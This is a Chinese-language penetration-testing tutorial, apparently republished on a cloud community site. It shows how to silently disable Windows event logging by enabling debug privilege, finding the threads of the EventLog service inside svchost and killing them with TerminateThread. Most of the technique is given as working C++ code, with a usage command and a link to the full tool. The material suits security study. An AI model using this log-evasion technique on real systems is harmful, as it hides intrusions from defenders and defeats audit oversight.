利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 本文讲的是利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过,在上篇文章《渗透技巧——Windows日志的删除与绕过》中提到一个绕过Windows日志监控的思路:使用API NtQueryInformationT...
本文讲的是 利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

0x00 前言

在上篇文章《渗透技巧——Windows日志的删除与绕过》中提到一个绕过Windows日志监控的思路:使用API NtQueryInformationThread和I_QueryTagInformation获取线程对应的服务,关闭对应日志记录功能的线程,能够破坏日志功能,并且Windows Event Log服务没有被破坏,状态仍为正在运行。本文将要对其详细介绍,分享使用c++在编写程序上需要注意的细节。

0x01 简介

本文将要介绍以下内容:

程序自身提权
遍历进程中的所有线程
根据线程tid,获取对应的进程pid
根据线程tid,获取对应的服务名称
结束线程

0x02 程序实现

开发工具: VS2012 
开发语言: c++

1、定位eventlog服务对应进程svchost.exe的pid

powershell代码如下:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

通过回显能够找出进程svchost.exe的pid

2、程序自身提权,以管理员权限执行

因为进程svchost.exe为系统权限,所以对其线程进行操作也需要高权限,因此,程序需要先提升至管理员权限

提权至管理员权限的代码如下:

BOOL SetPrivilege()  
{  
    HANDLE hToken;   
    TOKEN_PRIVILEGES NewState;   
    LUID luidPrivilegeLUID;   
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))   
    {   
        printf("SetPrivilege Errorn");  
        return FALSE;   
    }   
    NewState.PrivilegeCount = 1;   
    NewState.Privileges[0].Luid = luidPrivilegeLUID;   
    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
    if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))  
    {  
        printf("AdjustTokenPrivilege Errron");  
        return FALSE;  
    }  
    return TRUE;  
}

3、遍历进程中的所有线程

定位进程svchost.exe后,需要遍历该进程中的所有线程,然后进行筛选

根据进程pid遍历其子进程的代码如下:

BOOL ListProcessThreads(DWORD pid) 
{  
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;  
    THREADENTRY32 te32;    
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);  
    if (hThreadSnap == INVALID_HANDLE_VALUE)  
        return(FALSE);   
    te32.dwSize = sizeof(THREADENTRY32);  
    if (!Thread32First(hThreadSnap, &te32)) 
    { 
        printf("Thread32First");
        CloseHandle(hThreadSnap);   
        return(FALSE);  
    }  
    do 
    {  
        if (te32.th32OwnerProcessID == pid)
            printf("tid= %dn",te32.th32ThreadID);             
    } while (Thread32Next(hThreadSnap, &te32));  
    CloseHandle(hThreadSnap);  
    return(TRUE);  
}

获取进程中的所有线程tid,如下图

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

4、判断线程是否满足条件

筛选出Windows Event Log服务对应的线程,方法如下:

根据线程tid,获取对应的服务名称

可参考以下链接:

https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/

文中提到,需要使用三个API:

NtQueryInformationThread:

来自ntdll.dll
dll路径:%WinDir%System32

使用IDA对其验证,查看ntdll.dll的导出函数,能够发现API函数NtQueryInformationThread,如下图 

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

具体使用方式:

typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");

I_QueryTagInformation:

来自advapi32.dll
dll路径:%WinDir%System32下

使用IDA对其验证,查看advapi32.dll的导出函数,能够发现API函数I_QueryTagInformation,如下图

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

具体使用方式:

typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
FN_I_QueryTagInformation pfnI_QueryTagInformation = NULL;
HMODULE advapi32 = LoadLibrary(L"advapi32.dll");
pfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");

NtReadVirtualMemory:

可使用ReadProcessMemory代替

更为完整的代码实例可参考如下链接:

http://blog.naver.com/PostView.nhn?blogId=gloryo&logNo=110129121084&redirect=Dlog&widgetTypeCall=true

该文章分享了一段代码,提供进程pid和线程tid,能够获取对应的服务名称

当然,我们需要对该代码作改进,不需要提供进程pid,只需要线程tid就好

根据线程tid获取对应进程pid,代码如下:

BOOL QueryThreadBasicInformation(HANDLE hThread)
{
    typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
    FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
    pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
    THREAD_BASIC_INFORMATION threadBasicInfo;
    LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL);
    printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess); 
    printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread); 
    return TRUE;
}

测试程序能够通过tid获取相关进程pid,运行如下图

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

至此,我们能够根据提供的线程tid判断出对应的进程pid和服务名称

接着,需要添加判断功能,筛选出eventlog服务,进行下一步操作:结束线程

5、结束线程

同结束进程类似,需要提供进程tid,代码如下:

void TerminateEventlogThread(DWORD tid)
{
    HANDLE hThread = OpenThread(0x0001,FALSE,tid);
    if(TerminateThread(hThread,0)==0)
        printf("--> Error !n");
    else
        printf("--> Success !n");
    CloseHandle(hThread);
}

综上,将所有功能集成到一个程序中,使用时只需要提供进程svchost.exe的pid就好

完整源代码下载地址:

https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/WindowsEventLogBypass.cpp

0x03 实际测试

获取进程svchost.exe的pid:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

获得pid为916

运行WindowsEventLogBypass.exe,添加pid

参数如下:

WindowsEventLogBypass.exe 916

实际测试,如下图

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

成功结束线程,日志功能失效,如下图

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

0x04 小结

本文介绍了使用c++编写程序绕过Windows日志的技巧,同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m结合学习,希望能够帮助大家更好的了解这项技术。




原文发布时间为:2017年7月5日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
7月前
|
Java 开发工具 Windows
Windows环境下面启动jar包,输出的日志出现乱码的解决办法
Windows环境下面启动jar包,输出的日志出现乱码的解决办法
|
18天前
|
存储 运维 监控
API明细日志及运维统计日志全面提升API可运维性
在数字化转型的大潮中,数据已成为企业最宝贵的资产之一。而数据服务API可快速为数据应用提供数据接口。面对越来越多的API以及越来越多的应用调用,如何快速查看API的服务情况、异常情况及影响范围,以及查看API的调用详情,进行API的性能优化、错误排查变得越来越重要,本文将介绍如何配置和开通API运维统计及明细日志,以及如何查看日志进行介绍。
|
26天前
|
JSON 监控 JavaScript
Node.js-API 限流与日志优化
Node.js-API 限流与日志优化
|
2月前
|
开发框架 .NET API
Windows Forms应用程序中集成一个ASP.NET API服务
Windows Forms应用程序中集成一个ASP.NET API服务
97 9
|
3月前
|
网络协议 API Windows
MASM32编程调用 API函数RtlIpv6AddressToString,windows 10 容易,Windows 7 折腾
MASM32编程调用 API函数RtlIpv6AddressToString,windows 10 容易,Windows 7 折腾
|
4月前
|
缓存 NoSQL Linux
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
136 1
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
|
5月前
|
开发框架 NoSQL 前端开发
在Winform项目和Web API的.NetCore项目中使用Serilog 来记录日志信息
在Winform项目和Web API的.NetCore项目中使用Serilog 来记录日志信息
|
4月前
|
存储 Kubernetes API
【APIM】Azure API Management Self-Host Gateway是否可以把请求的日志发送到Application Insights呢?让它和使用Azure上托管的 Gateway一样呢?
【APIM】Azure API Management Self-Host Gateway是否可以把请求的日志发送到Application Insights呢?让它和使用Azure上托管的 Gateway一样呢?
|
4月前
|
XML 数据格式 Windows
【Azure 云服务】Azure Cloud Service (Extended Support) 云服务开启诊断日志插件 WAD Extension (Windows Azure Diagnostic) 无法正常工作的原因
【Azure 云服务】Azure Cloud Service (Extended Support) 云服务开启诊断日志插件 WAD Extension (Windows Azure Diagnostic) 无法正常工作的原因
|
4月前
|
开发框架 .NET API
如何在 ASP.NET Core Web Api 项目中应用 NLog 写日志?
如何在 ASP.NET Core Web Api 项目中应用 NLog 写日志?
200 0